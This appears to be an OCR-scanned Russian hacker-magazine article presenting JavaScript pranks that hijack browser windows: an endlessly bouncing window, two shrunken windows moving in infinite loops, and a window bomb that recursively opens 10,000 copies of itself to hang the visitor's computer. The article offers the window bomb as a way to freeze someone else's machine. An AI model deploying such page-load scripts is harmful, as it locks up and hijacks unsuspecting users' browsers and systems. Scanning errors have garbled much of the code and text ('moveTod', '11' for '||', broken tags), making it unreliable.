Скрипты — это круто
Внимай, даю установку: скрипты — это круто. Ты это знаешь, я это знаю, короче — MbL это знаем. Установку дал! Успешно. Теперь о них — любимых скриптах — и поговорим. Приятно наваять своими ручками какую-нибудь скрицтятину на яве и дать соседу-ламаку пропереться, а пока тот будет ее разглядывать — дать ему пинка. Вот только бага: по ходу все клевое в скриптинге уже придумано. Предложить что-либо кардинально новое (во всяком случае, мне) уже лучше пива попить пойти. С другой стороны, можно легко насочинять целый ворох вторичных которые при ближайшем рассмотрении сведутся к Нагромождению все тех же базовых методов. А это неправильно — вторичное само по себе на хрен никому не нужно.
Наконец (не на конец, а в конце наступило «творческое
Озарение»: если нельзя ничего выжать внутри документа, то надо переходить на качественно новый уровень манипуляции самим окном броузера.
Сначала чуть-чуть информации для тех, кто забыл (или не знал).
В объектной модели современных броузеров (под современными я имею в виду Internet Explorer и Netscape Navigator) есть два очень интересных метода: window. resizeTo (x, y) и window. moveTo (x, y), которые сулят просто огромные возможности. Первый метод изменяет размер «смотрового окна» броузера до указанных размеров (то есть х на у пикселей), а второй перемещает само окно, помещая левый верхний угол в точку с координатами х по горизонтали и у по вертикали. Таким образом, грамотно используя эти два ты легко можешь добиться весьма интересных
Эффектов, которые буквально валят с ног неподготовленного зрителя.
Для начала давай рассмотрим простенький скриптик, отвечающий за перемещение окна броузера по десктопу и его отражение от «краев» экрана:
Скрипт 1; Окно в стиле Xonix
<script language = javascript> // Начинаем script блок
Function move_the_window(){ // Наша стартовая функция
Window. resizeTo(screen. width/2, screen, height/2);-
// Сначала сжимаем окно до половины рабочего стола
Window. moveTod, 1); //Теперь помещаем его в левый верхний угол
Экрана
Var x=1; // Это будет наша Х-координата. Вначале равна единице var у=1; // Это будет наша Y-координата. Вначале равна единице var dx=7; // Смещение по X var dy=10; // ... и по Y
Move(); // Теперь вызываем функцию, которая и будет двигать окно
Function move(){ // .Объявляем функцию
While(true){ // Объявляем бесконечный цикл
If(x>=(screen. width) 11 x<=0) dx=-dx; // В случае, если окно на
Краю экрана по X, меняем направление
If(y>=(screen. height) || y<=0) dy=-dy; // To же самое, но уже для
Y
X+=dx; // Сдвинули по горизонтали y+=dy; // ... и по вертикали
Window, moveTo (х, у); // Нарисовали окно на новом месте } // Конец нашего бесконечного цикла } // Конец функции move } // Конец функции move_the_window
// Ну, и закрываем script блок
</script>
<html>
<head>
<title>8cript N1</title> </head>
<body onload = "move_the_window()">
<centerxfont face = Tiroes size = 6 color =redxi>JavaScript is
Cool! </i></fontx/center>
</body>
</html>
Как только страница полностью загружена, вызывается функция move_the_window. Она объявляет все необходимые переменные и помещает окно в левый верхний угол рабочего стола. Методы screen. width и screen. height возвращают нам значения (ширину и высоту) рабочего стола, и, уже зная их, мы сжимаем окно до половины.
Теперь приступим к функции move. Так как все действия здесь выполняются внутри бесконечного цикла, то окно так и будет безостановочно бегать по экрану. Попытка же свернуть его через task manager Приведет к интересным визуальным эффектам (советую убедиться на собственном опыте). В случае, если ты хочешь, чтобы цикл выполнялся определенное количество раз, замени оператор while на while(var i < твое число) и добавь в конце цикла оператор І++.
С помощью метода resizeTo можно делать довольно любопытные вещи. Посмотри, как можно сжать окно до размеров заглавной рамки и заставить все это, как обычно, бегать по экрану:
<script language = javascript> // Начинаем script блок function move_the„windows(){ // Наша стартовая функция window. resizeTo(screen. width, 25); // - Сжимаем окно номер 1 window. moveTo(0,1); // Теперь помещаем его в левый верхний угол экрана
Window2 = open("", null); // Создаем объект второго окна window2.document. write("<title> Window N2</title>"); // Пишем в него заголовок
Window2. resizeTo(screen. width, 25); //Сжимаем его и
Window2.moveTo(0, screen. height-25); // помещаем в низ экрана
Var dy1 =2; // Начальное смещение для верхнего окна
Var dy2=-2; // ... и для нижнего
Var y1 = 1; // Y-координата верхнего окна
Var y2 = // и нижнего
Move(); // Теперь вызываем функцию, которая и будет двигать оба
Окна
Function move(){ // Объявляем функцию while(true){ // Объявляем бесконечный цикл
If (y1>=(screen. height) || y1 <=0) dy1=-dy1; // Меняем направление if (y2>=(screen. height) || y2 <=0) dy2=-dy2; // То же для второго окна
Y1+=dy1; // Сдвинули первое окно по вертикали y2+=dy2; // и второе
Window. moveTo (0,у1); // Нарисовали первое окно на новом месте
// Нарисовали второе окно на новом месте } // Конец нашего бесконечного цикла } // Конец функции move } // Конец функции // Ну, и закрываем script блок </script> <html> <head>
<title>Script N2 Window 1</title>
</head>
<body onload = "move_the_windows()">
<centerxfont face = Times size = 6 color ' =redxi>JavaScript is
Cool! </i></fontx/center>
</body>
</html>
По сути, этот скрипт является расширением первого: новым является наличие двух окон, которые движутся независимо. Обрати внимание на механизм создания второго окна и способ записи HTML-тэгов через document, write.
Теперь, познакомившись с этими методами, ты, наверно уже задаешь себе вопрос: а нельзя ли через этот самый JavaScript подвесить клиентский компьютер? Что ж, это вполне возможно. Метод прост до неприличия: все, что только нужно делать, — открывать новые окна с максимальной быстротой. В этом случае у системы просто не хватает ресурсов, и все «повисает». Другое дело, что, на мой взгляд, этот примитивизм не является чем-то по-настоящему интересным, и, вероятно, раз ознакомившись с этим дубовым методом, ты больше не будешь тратить свое время на эту муру:
Скрипт 3: Генерация множества окон:
<script language = javascript> // Начинаем script блок function generate_windows(){ // Наша стартовая функция var i=1;
While (i < 10000){ // Главный цикл
Window. open("script3. htm"); // Новое окно с ссылкой на тот же HTML файл
I++; // Увеличиваем счетчик цикла
} // Конец цикла
} // Конец generate_windows
// Закрываем script блок
</script>
<html>
<head>
<title>Multiple windows</title> </head>
<body onload =
</body>
</htral>
Фактически в теле главного цикла скрипт пробует открыть 10000 окон, причем каждое окно ссылается на тот же файл, то есть в свою очередь пытается открыть еще Г0000 окон и т. д. Система просто не справляется с таким потоком и, увы, повисает.